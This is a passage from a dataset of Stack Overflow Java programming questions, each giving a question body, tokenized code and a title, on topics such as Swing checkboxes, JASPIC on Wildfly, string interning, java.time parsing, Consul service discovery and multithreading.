unchecked ! After I have the option for tick/untick it . I have the below code for select/unselect optionI need to know when I display the files ! The files should display with checked ( tick ) Then I can modify which I can tick/untick.I stuck on this logic ! [ EDIT : I did and updated answer for this part ( see the image ) .I Add select/deselectall to the panel ( box ) and it worked & & I need & curious to know how to put my selectall checkbox inside my panel ] Here is my button selection method for choosing folder and displaying it in a panel with check boxHere is my image ( without selection ) ! When i load the files in the panel,"box.add ( chckbxSelectAll ) ; public void selectAllMethod ( ) { Iterator < JCheckBox > i = checkBoxList.iterator ( ) ; while ( i.hasNext ( ) ) { JCheckBox tmp = i.next ( ) ; if ( chckbxSelectAll.isSelected ( ) ) { tmp.doClick ( ) ; } else { tmp.setSelected ( false ) ; selectedCounter -= 1 ; if ( selectedCounter < 0 ) { selectedCounter = 0 ; } noOfFileTxt.setText ( Integer.toString ( selectedCounter ) ) ; } } } public void chooseDirectoryFrom ( ) { String tempStr = null ; try { UIManager.setLookAndFeel ( `` com.sun.java.swing.plaf.windows.WindowsLookAndFeel '' ) ; fileChooser = new JFileChooser ( ) ; Font font = new Font ( `` Latha '' , Font.ITALIC , 10 ) ; fileChooser.setFont ( new Font ( `` Latha '' , Font.PLAIN , 13 ) ) ; fileChooser.setFileSelectionMode ( JFileChooser.DIRECTORIES_ONLY ) ; fileChooser.setFont ( font ) ; int returnVal = fileChooser.showOpenDialog ( frame ) ; if ( returnVal == JFileChooser.APPROVE_OPTION ) { tempStr = fileChooser.getSelectedFile ( ) .getCanonicalPath ( ) ; } if ( tempStr ! = null & & ! tempStr.trim ( ) .equals ( `` '' ) ) { searchBox.setText ( tempStr ) ; // Enable the search button // btnDisplay.setEnabled ( true ) ; } else { //btnDisplay.setEnabled ( false ) ; } } catch ( Exception e ) { e.printStackTrace ( ) ; } // public void selectToDisplay ( ) { //disabled btn to display File sourceFolder = null ; Box box = Box.createVerticalBox ( ) ; if ( boxList.size ( ) ! = 0 ) { middlePanel.remove ( scrollPane ) ; middlePanel.repaint ( ) ; frame.repaint ( ) ; boxList = new ArrayList < Box > ( ) ; checkBoxList = new ArrayList < JCheckBox > ( ) ; fileNamesMap = new HashMap < String , String > ( ) ; selectedCounter = 0 ; noOfFileTxt.setText ( Integer.toString ( selectedCounter ) ) ; } sourceFolder = new File ( searchBox.getText ( ) ) ; File [ ] sourceFilesList = sourceFolder.listFiles ( ) ; JCheckBox cb1 = null ; for ( int i = 0 ; i < sourceFilesList.length ; i++ ) { if ( sourceFilesList [ i ] .isFile ( ) & sourceFilesList [ i ] .getName ( ) .endsWith ( `` .txt '' ) ) { fileNamesMap.put ( sourceFilesList [ i ] .getAbsolutePath ( ) , sourceFilesList [ i ] .getName ( ) ) ; cb1 = new JCheckBox ( sourceFilesList [ i ] .getAbsolutePath ( ) ) ; cb1.setFont ( new Font ( `` Latha '' , Font.BOLD , 20 ) ) ; box.add ( cb1 ) ; checkBoxList.add ( cb1 ) ; cb1.addActionListener ( new ActionListener ( ) { public void actionPerformed ( ActionEvent e ) { if ( ( ( AbstractButton ) e.getSource ( ) ) .isSelected ( ) ) { selectedCounter += 1 ; } else { selectedCounter -= 1 ; if ( selectedCounter < 0 ) { selectedCounter = 0 ; } } noOfFileTxt.setText ( Integer.toString ( selectedCounter ) ) ; } } ) ; } } boxList.add ( box ) ; scrollPane = new JScrollPane ( box ) ; scrollPane.setPreferredSize ( new Dimension ( 1050 , 350 ) ) ; scrollPane.setVerticalScrollBarPolicy ( ScrollPaneConstants.VERTICAL_SCROLLBAR_ALWAYS ) ; middlePanel.add ( scrollPane ) ; frame.getContentPane ( ) .add ( middlePanel ) ; frame.repaint ( ) ; frame.revalidate ( ) ; }",how to use select all option in checklistbox in swing java ? +Java,"Based on this Jaspic Example I wrote the following validateRequest method for a ServerAuthModule : This works as expected , for the first call of an ejb with @ RolesAllowed ( `` aRole '' ) but for the next call this does not work at all . Wildfly denies it with this error message : If I guess right , the error occures in : org.jboss.as.security.service.SimpleSecurityManager line 367 of wilfly 's source code , due to line 405 , in which credential is checked , but seems to be null . This seems equal in Wildfly 8/9/10CR ( other versions not tested ) . Again I 'm not sure , if I 'm doing it wrong , or if this is the same bug ashttps : //issues.jboss.org/browse/WFLY-4626 ? And is it a bug at all , or is it expected behavior ?","public AuthStatus validateRequest ( MessageInfo messageInfo , Subject clientSubject , Subject serviceSubject ) throws AuthException { boolean authenticated = false ; final HttpServletRequest request = ( HttpServletRequest ) messageInfo.getRequestMessage ( ) ; final String token = request.getParameter ( `` token '' ) ; TokenPrincipal principal = ( TokenPrincipal ) request.getUserPrincipal ( ) ; Callback [ ] callbacks = new Callback [ ] { new CallerPrincipalCallback ( clientSubject , ( TokenPrincipal ) null ) } ; if ( principal ! = null ) { callbacks = new Callback [ ] { new CallerPrincipalCallback ( clientSubject , principal ) } ; authenticated = true ; } else { if ( token ! = null & & token.length ( ) == Constants.tokenLength ) { try { principal = fetchUser ( token ) ; } catch ( final Exception e ) { throw ( AuthException ) new AuthException ( ) .initCause ( e ) ; } callbacks = new Callback [ ] { new CallerPrincipalCallback ( clientSubject , principal ) , new GroupPrincipalCallback ( clientSubject , new String [ ] { `` aRole '' } ) } ; messageInfo.getMap ( ) .put ( `` javax.servlet.http.registerSession '' , `` TRUE '' ) ; authenticated = true ; } } if ( authenticated ) { try { handler.handle ( callbacks ) ; } catch ( final Exception e ) { throw ( AuthException ) new AuthException ( ) .initCause ( e ) ; } return SUCCESS ; } return AuthStatus.SEND_FAILURE ; } ERROR [ org.jboss.as.ejb3.invocation ] ( default task-4 ) WFLYEJB0034 : EJB Invocation failed on component TestEJB for method public java.lang.String com.jaspic.security.TestEJB.getPrincipalName ( ) : javax.ejb.EJBAccessException : WFLYSEC0027 : Invalid User",JASPIC Wildfly 9 validateRequest with session +Java,"I just tried to create a ListDataModel with a bounded type , like this : , where fooList is of the type List < ? extends Foo > . I get the following error : My current workaround is to copy my data into an ArrayList < Foo > , and build a DataModel < Foo > from that , but I would like to know why this is necessary , and if there is any way to make it work ?",DataModel < ? extends Foo > model = new ListDataModel < ? extends Foo > ( fooList ) ; unexpected type required : class or interface without bounds found : ? extends Foo,Why does ListDataModel not work with a bounded type parameter ? +Java,"I have been successfully using SimpleDateFormat for the last couple of years . I built a bunch of time utility classes using it.As I ran into problems with SimpleDateFormat ( SDF ) not being thread safe , I spent the last couple of days refactoring these utility classes to internally use DateTimeFormatter ( DTF ) now . Since both classes ' time patterns are almost identical , this transition seemed a good idea at the time.I now have problems obtaining EpochMillis ( milliseconds since 1970-01-01T00:00:00Z ) : While SDF would e.g . interpret 10:30 parsed using HH : mm as 1970-01-01T10:30:00Z , DTF does not do the same . DTF can use 10:30 to parse a LocalTime , but not a ZonedDateTime which is needed to obtain EpochMillis.I understand that the objects of java.time follow a different philosophy ; Date , Time , and Zoned objects are kept separately . However , in order for my utility class to interpret all strings as it did before , I need to be able to define the default parsing for all missing objects dynamically . I tried to usebut this does not work for all patterns . It seems to only allow defaults for parameters that are not defined in pattern . Is there a way to test which ChronoFields are defined in pattern to then selectively add defaults ? Alternatively , I triedwhich does not cover all cases either.What is the best strategy to enable dynamic date / time / date-time / zone-date-time parsing ?","DateTimeFormatterBuilder builder = new DateTimeFormatterBuilder ( ) ; builder.parseDefaulting ( ChronoField.YEAR , 1970 ) ; builder.parseDefaulting ( ChronoField.MONTH_OF_YEAR , 1 ) ; builder.parseDefaulting ( ChronoField.DAY_OF_MONTH , 1 ) ; builder.parseDefaulting ( ChronoField.HOUR_OF_DAY , 0 ) ; builder.parseDefaulting ( ChronoField.MINUTE_OF_HOUR , 0 ) ; builder.parseDefaulting ( ChronoField.SECOND_OF_MINUTE , 0 ) ; builder.append ( DateTimeFormatter.ofPattern ( pattern ) ) ; TemporalAccessor temporal = formatter.parseBest ( time , ZonedDateTime : :from , LocalDateTime : :from , LocalDate : :from , LocalTime : :from , YearMonth : :from , Year : :from , Month : :from ) ; if ( temporal instanceof ZonedDateTime ) return ( ZonedDateTime ) temporal ; if ( temporal instanceof LocalDateTime ) return ( ( LocalDateTime ) temporal ) .atZone ( formatter.getZone ( ) ) ; if ( temporal instanceof LocalDate ) return ( ( LocalDate ) temporal ) .atStartOfDay ( ) .atZone ( formatter.getZone ( ) ) ; if ( temporal instanceof LocalTime ) return ( ( LocalTime ) temporal ) .atDate ( LocalDate.of ( 1970 , 1 , 1 ) ) .atZone ( formatter.getZone ( ) ) ; if ( temporal instanceof YearMonth ) return ( ( YearMonth ) temporal ) .atDay ( 1 ) .atStartOfDay ( ) .atZone ( formatter.getZone ( ) ) ; if ( temporal instanceof Year ) return ( ( Year ) temporal ) .atMonth ( 1 ) .atDay ( 1 ) .atStartOfDay ( ) .atZone ( formatter.getZone ( ) ) ; if ( temporal instanceof Month ) return Year.of ( 1970 ) .atMonth ( ( Month ) temporal ) .atDay ( 1 ) .atStartOfDay ( ) .atZone ( formatter.getZone ( ) ) ;",Problems when moving from SimpleDateFormat to DateTimeFormatter +Java,What does the second block below run ( ) in the anonymous class new Runnable ( ) { that has no identifier or declaration preceding it mean : Edit : yes it is decompiled code .,public BackgroundThread ( final Runnable runnable ) { super ( new Runnable ( ) { final Runnable val $ runnable ; public void run ( ) { Process.setThreadPriority ( 10 ) ; runnable.run ( ) ; } { runnable = runnable1 ; super ( ) ; } } ) ; },What does this block of code mean ? +Java,This results in The expression e==a is true implies same reference . So why the last expression is true but the 4th to last ie c== `` Hel '' +a is false ?,public static void main ( String [ ] args ) { String a = new String ( `` lo '' ) .intern ( ) ; final String d = a.intern ( ) ; String b = `` lo '' ; final String e = `` lo '' ; String c = `` Hello '' ; System.out.println ( b==a ) ; //true System.out.println ( d==a ) ; //true System.out.println ( e==a ) ; //true System.out.println ( c== '' Hel '' +a ) ; //why is this false ? when e==a is true System.out.println ( c== '' Hel '' +d ) ; //why is this false ? System.out.println ( c== '' Hel '' +b ) ; //why is this false ? System.out.println ( c== '' Hel '' +e ) ; //this is true } truetruetruefalsefalsefalsetrue,Related to String interning +Java,"When reading this question , I open my editor to try some code samples to verify and understand it . The following is my code : But compiling the upper code makes me more confused . The first error comes from what upper question shows that B actually belong to a static class . So in method , it is a static context . The second error , by contrast , says that here is a inner class -- non-static nested class as java doc says.The following is a line I cited from JLS , but it seems a little bit confusing and vague . A nested enum type is implicitly static.The following is the byte code of anonymous synthetic class of B : So the class of B is static or not ? @ Lew Bloch seems saying it is like the following ( the behavior matches with above enum example , but if this is true , the answer of the linked question is wrong in some senses ) .","public enum EnumImpl { B { public void method ( ) { System.out.println ( s ) ; // ( 1 ) non-static variable s can not be referenced from a static context } public static int b ; // ( 2 ) Illegal static declaration in inner class } ; private int s ; } final class enum_type.EnumImpl $ 1 extends enum_type.EnumImpl { enum_type.EnumImpl $ 1 ( java.lang.String , int ) ; Code : 0 : aload_0 1 : aload_1 2 : iload_2 3 : aconst_null 4 : invokespecial # 1 // Method enum_type/EnumImpl . `` < init > '' : ( Ljava/lang/String ; ILenum_type/EnumImpl $ 1 ; ) V 7 : return public void method ( ) ; Code : 0 : return } abstract class Cmp { private int s ; static { class Bclass extends Cmp { public void method ( ) { // System.out.println ( s ) ; } // private static int b ; } } }",Nested enum is static ? +Java,"I ’ m developing Wildfly-Swarm app and I want to use Consul as my service discovery . So I added topology-consul fraction , set my Consul path in project-defaults.yml and added @ Advertise ( `` service-name '' ) to my Endpoint . And if I start my application usingeverything works just fine.My project-defaults.yml : But when I pack my fat jar inside Docker image with this Dockerfile : Build it : And run it like so : I get following exception : Am I doing something wrong ? EDIT : I have tryed self implementing service discovery using consul-api.Like so : And its working inside docker image . Is this maybe a bug in Wildfly-Swarm topology fraction or am I missing some configuration ? EDIT 2 : I found that the issue is with wildfly-swarm paramater -Djava.net.preferIPv4Stack=true . When I run jar file with this parameter I get same exception but if I remove it Dockerfile for creating docker image and run it i get this exception : Here is the link to github project where you can reproduce the error : https : //github.com/pkristja/wildfly-swarm-consul-demo","java –jar my-swarm-app.jar service : catalog : service-name : `` service-name '' swarm : port : offset : 501 consul : url : `` http : //172.30.3.80:8500 '' FROM openjdk:8-jre-alpineADD my-swarm-app.jar /opt/my-swarm-app.jarEXPOSE 8581ENTRYPOINT [ `` java '' , `` -jar '' , `` -Djava.net.preferIPv4Stack=true '' , `` /opt/my-swarm-app.jar '' ] docker build -f Dockerfile -t my-swarm-app . docker run -p 8581:8581 my-swarm-app 2017-09-26 15:17:54,240 ERROR [ org.jboss.msc.service.fail ] ( MSC service thread 1-4 ) MSC000001 : Failed to start service swarm.topology.register.consent-service.http : org.jboss.msc.service.StartException in service swarm.topology.register.consent-service.http : com.orbitz.consul.ConsulException : Invalid service address at org.wildfly.swarm.topology.deployment.RegistrationAdvertiser.start ( RegistrationAdvertiser.java:79 ) at org.jboss.msc.service.ServiceControllerImpl $ StartTask.startService ( ServiceControllerImpl.java:1948 ) at org.jboss.msc.service.ServiceControllerImpl $ StartTask.run ( ServiceControllerImpl.java:1881 ) at java.util.concurrent.ThreadPoolExecutor.runWorker ( ThreadPoolExecutor.java:1149 ) at java.util.concurrent.ThreadPoolExecutor $ Worker.run ( ThreadPoolExecutor.java:624 ) at java.lang.Thread.run ( Thread.java:748 ) Caused by : com.orbitz.consul.ConsulException : Invalid service address at com.orbitz.consul.AgentClient.register ( AgentClient.java:180 ) at com.orbitz.consul.AgentClient.register ( AgentClient.java:184 ) at org.wildfly.swarm.topology.consul.runtime.Advertiser.advertise ( Advertiser.java:65 ) at org.wildfly.swarm.topology.consul.runtime.ConsulTopologyConnector.advertise ( ConsulTopologyConnector.java:60 ) at org.wildfly.swarm.topology.deployment.RegistrationAdvertiser.start ( RegistrationAdvertiser.java:77 ) ... 5 more < dependency > < groupId > com.ecwid.consul < /groupId > < artifactId > consul-api < /artifactId > < version > 1.2.4 < /version > < /dependency > @ ApplicationScopedpublic class Config { private ConsulClient client ; @ Inject @ ConfigurationValue ( `` swarm.http.port '' ) private Integer port ; public void init ( @ Observes @ Initialized ( ApplicationScoped.class ) ServletContext context ) { client = new ConsulClient ( `` http : //172.30.3.80:8500 '' ) ; // register new service with associated health check NewService newService = new NewService ( ) ; newService.setId ( `` myapp_02 '' ) ; newService.setTags ( Collections.singletonList ( `` EU-East '' ) ) ; newService.setName ( `` myapp_aaa '' ) ; newService.setPort ( port ) ; client.agentServiceRegister ( newService ) ; } } 2017-09-27 20:34:46,460 ERROR [ org.jboss.msc.service.fail ] ( MSC service thread 1-8 ) MSC000001 : Failed to start service jboss.undertow.listener.default : org.jboss.msc.service.StartException in service jboss.undertow.listener.default : WFLYUT0082 : Could not start 'default ' listener . at org.wildfly.extension.undertow.ListenerService.start ( ListenerService.java:153 ) at org.jboss.msc.service.ServiceControllerImpl $ StartTask.startService ( ServiceControllerImpl.java:1948 ) at org.jboss.msc.service.ServiceControllerImpl $ StartTask.run ( ServiceControllerImpl.java:1881 ) at java.util.concurrent.ThreadPoolExecutor.runWorker ( ThreadPoolExecutor.java:1142 ) at java.util.concurrent.ThreadPoolExecutor $ Worker.run ( ThreadPoolExecutor.java:617 ) at java.lang.Thread.run ( Thread.java:748 ) Caused by : java.net.SocketException : Protocol family unavailable at sun.nio.ch.Net.bind0 ( Native Method ) at sun.nio.ch.Net.bind ( Net.java:433 ) at sun.nio.ch.Net.bind ( Net.java:425 ) at sun.nio.ch.ServerSocketChannelImpl.bind ( ServerSocketChannelImpl.java:223 ) at sun.nio.ch.ServerSocketAdaptor.bind ( ServerSocketAdaptor.java:74 ) at org.xnio.nio.NioXnioWorker.createTcpConnectionServer ( NioXnioWorker.java:171 ) at org.xnio.XnioWorker.createStreamConnectionServer ( XnioWorker.java:245 ) at org.wildfly.extension.undertow.HttpListenerService.startListening ( HttpListenerService.java:126 ) at org.wildfly.extension.undertow.ListenerService.start ( ListenerService.java:142 ) ... 5 more",Wildfly-Swarm Consul service discovery - Invalid service address +Java,"We know how to force shutdown an computer using Java . For example , the following code works fine for force shutdown : Now , suppose if I want to force startup a computer ( which is in shut down state ) , at a particular time , is it possible to do in Java or any other language ?",public static void main ( String arg [ ] ) throws IOException { Runtime runtime = Runtime.getRuntime ( ) ; Process proc = runtime.exec ( `` shutdown -s -t 0 '' ) ; System.exit ( 0 ) ; },Force startup a computer automatically ? +Java,"Why is the following syntax correct : Where it means y++ + y or y + ++y which means y * 2 + 1 ( not sure about this , though : very ambiguous ) But this syntax is incorrect : Which should mean y++ + ++y , which means y * 2 + 2Is there a reason for the incorrectness of this syntax ? ( Edit : thank you for explaining why it is invalid syntax , but that is not my intention with this question . ) ( Edit : ofcourse I 'm not using this in real code , purely in interest of parsers/lexers ; but I wonder why the parser does n't like this ; the last example even looks less ambiguous than the first one . ) ( Edit : Is invalid too , though it seems very unambiguous to me , ( i = 3 ) is a value , thus ( value + value ) and then the ++i value token . )",x = y+++y ; x = y+++++y ; int i = 0 ; int j = ( i = 3 ) +++i ;,Java syntax of + +Java,"Question 1In the first case , I understand that it is a concatenation of two string literals , so the result `` I Love Java '' will be interned , giving the result true . However , I 'm not sure about the second case.Question 2The above returns false , but if I comment out lines 1 and 2 , it returns true . Why is that ?",String a1 = `` I Love '' + `` Java '' ; String a2 = `` I Love `` + `` Java '' ; System.out.println ( a1 == a2 ) ; // trueString b1 = `` I Love '' ; b1 += `` Java '' ; String b2 = `` I Love `` ; b2 += `` Java '' ; System.out.println ( b1 == b2 ) ; // false String a1 = `` I Love '' + `` Java '' ; // line 1String a2 = `` I Love `` + `` Java '' ; // line 2String b1 = `` I Love '' ; b1 += `` Java '' ; String b2 = `` I Love `` ; b2 += `` Java '' ; String b3 = b1.intern ( ) ; System.out.println ( b1 == b3 ) ; // false,java string concatenation and interning +Java,"I am not able to understand usage of intern method provider by String class.I read that internally compiler do an intern , but on which object ? How do compiler knows he had to do intern for s1 to create s2 ? What is the difference between Stmt 2 and Stmt 3 here ? Are both same always ? If yes , what is so special about intern method of java ?",String s1 = `` vivek '' ; //Stmt 1String s2 = `` vivek '' ; //Stmt 2String s3 = s1.intern ( ) ; //Stmt 3System.out.println ( s1 == s2 ) ; // prints trueSystem.out.println ( s1 == s3 ) ; // prints true,Difference between String intern method and normal string creation +Java,Why ca n't I assign a try-with-resource variable outside of the try block ? The following statement is invalid : How can I get access to the con variable inside the catch block ?,Connection con = null ; try ( con = DatabaseService.getConnection ( ) ) { //this is invalid . why ? con.execute ( ... ) ; } catch ( Exception e ) { con.rollback ( ) ; },How to access a try-with-resource variable outside the bock ? +Java,"I have an image that is set to rotate in my application . The code works perfectly on all Android versions except for the latest Ice Cream Sandwich . The image still rotates , but it is not rotating from the center axis of the image . Instead , it seems to rotate from the left corner ( 0,0 ) of the image . Does anyone have any ideas as to why this does not work in Ice Cream Sandwich ? Here is my code : rotator.xml : animation.java : Thanks !","< rotate xmlns : android= '' http : //schemas.android.com/apk/res/android '' android : duration= '' 1200 '' android : fromDegrees= '' 0 '' android : pivotX= '' 50 % '' android : pivotY= '' 50 % '' android : repeatCount= '' infinite '' android : toDegrees= '' 360 '' / > status.setImageResource ( R.drawable.pending ) ; status.startAnimation ( AnimationUtils.loadAnimation ( _context , R.anim.rotator ) ) ;",Android Image Rotation Not Working in Ice Cream Sandwich +Java,"I have the following example , to explain better what i 'm trying to do : The output is : But , what i want is to get an array of size 8 , containing also : Of course , the last 2 elements will be empty strings , but it is essential for me to get them . Also , i think it 's logical to have them . I mean , if i had : The result would be an array of size 8 and i do n't think there is a big difference between the 2 examples .","String text = `` a , b , , , ,c , , '' ; String [ ] split = text.split ( `` , '' ) ; for ( int i=0 ; i < split.length ; i++ ) { System.out.println ( `` I = `` +i+ '' `` +split [ i ] ) ; } I = 0 aI = 1 bI = 2 I = 3 I = 4 I = 5 c I = 6 I = 7 String text = `` a , b , , , ,c , ,d '' ;",Java split by a successive character +Java,"I got this one from a google I/O puzzler talk given by Joshua Bloch . Here 's the codethis main method throws an exception because new Glommer is a raw type and hence all the generics in Glommer is erased , so it ends up calling int glom ( List < Integer > ints ) rather than String glom ( Collection < ? > obj ) .My question is , even if I called glom ( ) as new Glommer < Integer > ( ) .glom ( strings ) should n't it call the int glom ( List < Integer > ints ) method since due to type erasure , this method is effectively int glom ( List ints ) and strings is of type List not Collection ?","public class Glommer < T > { String glom ( Collection < ? > obj ) { String result = `` '' ; for ( Object o : obj ) { result += o ; } return result ; } int glom ( List < Integer > ints ) { int result = 0 ; for ( int i : ints ) { result += i ; } return result ; } public static void main ( String args [ ] ) { List < String > strings = Arrays.asList ( `` 1 '' , `` 2 '' , `` 3 '' ) ; System.out.println ( new Glommer ( ) .glom ( strings ) ) ; }",Java generics type erasure of method parameters +Java,"So basically I needed to optimize this piece of code today . It tries to find the longest sequence produced by some function for the first million starting numbers : My mistake was to try to introduce multithreading : Unfortunately , the multithreaded version worked 5 times slower than the single-threaded on 4 processors ( cores ) .Then I tried a bit more crude approach : and it worked much faster , but still it was slower than the single thread approach.I hope it 's not because I screwed up the way I 'm doing multithreading , but rather this particular calculation/algorithm is not a good fit for parallel computation . If I change calculation to make it more processor intensive by replacing method next with : both multithreaded versions start to execute more than twice as fast than the singlethreaded version on a 4 core machine.So clearly there must be some threshold that you can use to determine if it is worth to introduce multithreading and my question is : What is the basic rule that would help decide if a given calculation is intensive enough to be optimized by running it in parallel ( without spending effort to actually implement it ? )","public static void main ( String [ ] args ) { int mostLen = 0 ; int mostInt = 0 ; long currTime = System.currentTimeMillis ( ) ; for ( int j=2 ; j < =1000000 ; j++ ) { long i = j ; int len = 0 ; while ( ( i=next ( i ) ) ! = 1 ) { len++ ; } if ( len > mostLen ) { mostLen = len ; mostInt = j ; } } System.out.println ( System.currentTimeMillis ( ) - currTime ) ; System.out.println ( `` Most len is `` + mostLen + `` for `` + mostInt ) ; } static long next ( long i ) { if ( i % 2==0 ) { return i/2 ; } else { return i*3+1 ; } } void doSearch ( ) throws ExecutionException , InterruptedException { final int numProc = Runtime.getRuntime ( ) .availableProcessors ( ) ; System.out.println ( `` numProc = `` + numProc ) ; ExecutorService executor = Executors.newFixedThreadPool ( numProc ) ; long currTime = System.currentTimeMillis ( ) ; List < Future < ValueBean > > list = new ArrayList < Future < ValueBean > > ( ) ; for ( int j = 2 ; j < = 1000000 ; j++ ) { MyCallable < ValueBean > worker = new MyCallable < ValueBean > ( ) ; worker.setBean ( new ValueBean ( j , 0 ) ) ; Future < ValueBean > f = executor.submit ( worker ) ; list.add ( f ) ; } System.out.println ( System.currentTimeMillis ( ) - currTime ) ; int mostLen = 0 ; int mostInt = 0 ; for ( Future < ValueBean > f : list ) { final int len = f.get ( ) .getLen ( ) ; if ( len > mostLen ) { mostLen = len ; mostInt = f.get ( ) .getNum ( ) ; } } executor.shutdown ( ) ; System.out.println ( System.currentTimeMillis ( ) - currTime ) ; System.out.println ( `` Most len is `` + mostLen + `` for `` + mostInt ) ; } public class MyCallable < T > implements Callable < ValueBean > { public ValueBean bean ; public void setBean ( ValueBean bean ) { this.bean = bean ; } public ValueBean call ( ) throws Exception { long i = bean.getNum ( ) ; int len = 0 ; while ( ( i = next ( i ) ) ! = 1 ) { len++ ; } return new ValueBean ( bean.getNum ( ) , len ) ; } } public class ValueBean { int num ; int len ; public ValueBean ( int num , int len ) { this.num = num ; this.len = len ; } public int getNum ( ) { return num ; } public int getLen ( ) { return len ; } } long next ( long i ) { if ( i % 2 == 0 ) { return i / 2 ; } else { return i * 3 + 1 ; } } static int mostLen = 0 ; static int mostInt = 0 ; synchronized static void updateIfMore ( int len , int intgr ) { if ( len > mostLen ) { mostLen = len ; mostInt = intgr ; } } public static void main ( String [ ] args ) throws InterruptedException { long currTime = System.currentTimeMillis ( ) ; final int numProc = Runtime.getRuntime ( ) .availableProcessors ( ) ; System.out.println ( `` numProc = `` + numProc ) ; ExecutorService executor = Executors.newFixedThreadPool ( numProc ) ; for ( int i = 2 ; i < = 1000000 ; i++ ) { final int j = i ; executor.execute ( new Runnable ( ) { public void run ( ) { long l = j ; int len = 0 ; while ( ( l = next ( l ) ) ! = 1 ) { len++ ; } updateIfMore ( len , j ) ; } } ) ; } executor.shutdown ( ) ; executor.awaitTermination ( 30 , TimeUnit.SECONDS ) ; System.out.println ( System.currentTimeMillis ( ) - currTime ) ; System.out.println ( `` Most len is `` + mostLen + `` for `` + mostInt ) ; } static long next ( long i ) { if ( i % 2 == 0 ) { return i / 2 ; } else { return i * 3 + 1 ; } } long next ( long i ) { Random r = new Random ( ) ; for ( int j=0 ; j < 10 ; j++ ) { r.nextLong ( ) ; } if ( i % 2 == 0 ) { return i / 2 ; } else { return i * 3 + 1 ; } }",Is there any `` threshold '' justifying multithreaded computation ? +Java,I have a database of shops and in that database I have coordinates for these shops saved . I would like to get the list of shops in a 10km radius however I am not sure how to write the Postgres query since I am using Postgres database.My database : I am trying to add the query to a springboot geolocation microservice : Repository code : SellerObject :,"@ Repositorypublic interface SellerGeolocationRepository extends CrudRepository < Seller_Geolocation , Long > { @ Query ( value= '' SELECT * FROM seller_geolocation_ms WHERE // get coordinates that are in the vicinity '' , nativeQuery = true ) public Set < Seller_Geolocation > findAllSellersInRange ( double longitude , double latitude ) ; } @ Getter @ Setter @ NoArgsConstructor @ AllArgsConstructor @ Entity @ Table ( name = `` seller_geolocation_ms '' ) public class Seller_Geolocation { @ Id @ GeneratedValue ( strategy = GenerationType.IDENTITY ) private Long id ; private static final long serialVersionUID = 2L ; private double latitude ; private double longitude ; private String country ; private String city ; private String zipCode ; private String town ; private String address ; private Long sellerId ; }",How to query a postgres database to get all points within a 10km radius of certain coordinates +Java,"I have the following code : Later I use required but get an error , even though `` required '' is clearly initialized . This could be considered as a bug in the compiler , but I understand that it is computationally difficult ( and even impossible ) to catch all the cases.There are several possible solutions : Suppress warning ( not sure is possible ) Initialize to nullUse the lock for longer , or use the lock twiceNeither of these solutions sound ideal , what would be the best ? any other solutions ?","boolean needToAddToMap = false ; Required required ; synchronized ( requiredMap ) { if ( requiredMap.containsKey ( userId ) ) { required = parserSetAndActionsMap.get ( userId ) ; } else { logger.warning ( `` userId not found in map , adding now . `` ) ; needToAddToMap = true ; } } if ( needToAddToMap ) { required = addNewRequired ( userId ) ; }",best practice for avoiding `` variable might not have been initialized '' +Java,I have a couple of Vavr Either 's and I want to invoke a function with the Right value for each of these Either 's . For example : I could of course do something like this : But this is very ugly . In other languages you could just use something like do-notation or for comprehensions to flatten out the structure . I know that Vavr has the concept of a Validation which is an applicative functor that allows you to do : which is much nicer . My question is if something similar exists in Vavr for Either 's to avoid the nested flatMap structure ? Note that I do n't want to convert the Either 's to Validation 's .,"Either < MyError , String > either1 = ..Either < MyError , String > either2 = ..Either < MyError , String > either3 = ..Either < MyError , String > > methodRequiringAllInputs ( String , String , String ) { .. } either1.flatMap { value1 - > either2.flatMap { value2 - > either3.flatMap { value3 - > methodRequiringAllInputs ( value1 , value2 , value3 ) ; } } } Validation < MyError , String > validation1 = ..Validation < MyError , String > validation2 = ..Validation < MyError , String > validation3 = ..Validation.combine ( validation1 , validation2 , validation3 ) .ap ( ( validationValue1 , validationValue2 , validationValue3 ) - > .. ) ;",Combining Either 's in Vavr ? +Java,"I 'm pretty sure the answer is yes , but I just want to confirm that there is never a situation where a non null string ( regardless of what it contains ) would return anything but a valid String as the first member of the array returned by split . In other words.My understanding is that bar will never be null and the assignment line has no way to fail . If the delimiter is not found in the string it just returns foo in its entirety as the first element of the returned array .","String foo = `` '' ; // or `` something '' or `` a b c '' or any valid string at allString [ ] bar = foo.split ( `` , '' ) [ 0 ] ;",is it always safe to use the first element of the array returned by split ? +Java,"According to the JLS : 15.9.5 Anonymous Class Declarations An anonymous class declaration is automatically derived from a class instance creation expression by the compiler . An anonymous class is never abstract ( §8.1.1.1 ) . An anonymous class is always an inner class ( §8.1.3 ) ; it is never static ( §8.1.1 , §8.5.2 ) . An anonymous class is always implicitly final ( §8.1.1.2 ) .This seems like it was a specific design decision , so chances are it has some history.If I choose to have a class like this : Why am I not allowed to subclass it again if I so choose ? I 'm not saying I necessarily want to , or can even think of a reason why I would . But I am curious why this is the case .","SomeType foo = new SomeType ( ) { @ Override void foo ( ) { super.foo ( ) ; System.out.println ( `` Hello , world ! `` ) ; } } ; SomeType foo = new SomeType ( ) { @ Override void foo ( ) { super.foo ( ) ; System.out.println ( `` Hello , world ! `` ) ; } } { @ Override void foo ( ) { System.out.println ( `` Hahaha , no super foo for you ! `` ) ; } } ;",Why are all anonymous classes implicitly final ? +Java,"I am looking for a tool like Java String Analysis ( JSA ) that could sum up a string as a regex . I have tried to do that with JSA , but there I need to search for a specific method like StringBuffer.append or other string operations.I have strings like that : And my JSA implementation looks like that so far : I would be very appreciated for any help with the JSA tool or for a hint to another tool . My biggest issue with the regex the control flow structure around the string constant .","StringBuilder test=new StringBuilder ( `` hello `` ) ; boolean codition=false ; if ( codition ) { test.append ( `` world '' ) ; } else { test.append ( `` other world '' ) ; } test.append ( `` so far '' ) ; for ( int i=0 ; i < args.length ; i++ ) { test.append ( `` again hello '' ) ; } // regularExpression = `` hello ( world| other world ) so far ( again hello ) * '' public static void main ( String [ ] args ) { StringAnalysis.addDirectoryToClassPath ( `` bootstrap.jar '' ) ; StringAnalysis.loadClass ( `` org.apache.catalina.loader.Extension '' ) ; List < ValueBox > list = StringAnalysis.getArgumentExpressions ( `` < java.lang.StringBuffer : java.lang.StringBuffer append ( java.lang.String ) > '' , 0 ) ; StringAnalysis sa = new StringAnalysis ( list ) ; for ( ValueBox e : list ) { Automaton a = sa.getAutomaton ( e ) ; if ( a.isFinite ( ) ) { Iterator < String > si = a.getFiniteStrings ( ) .iterator ( ) ; StringBuilder sb = new StringBuilder ( ) ; while ( si.hasNext ( ) ) { sb.append ( ( String ) si.next ( ) ) ; } System.out.println ( sb.toString ( ) ) ; } else if 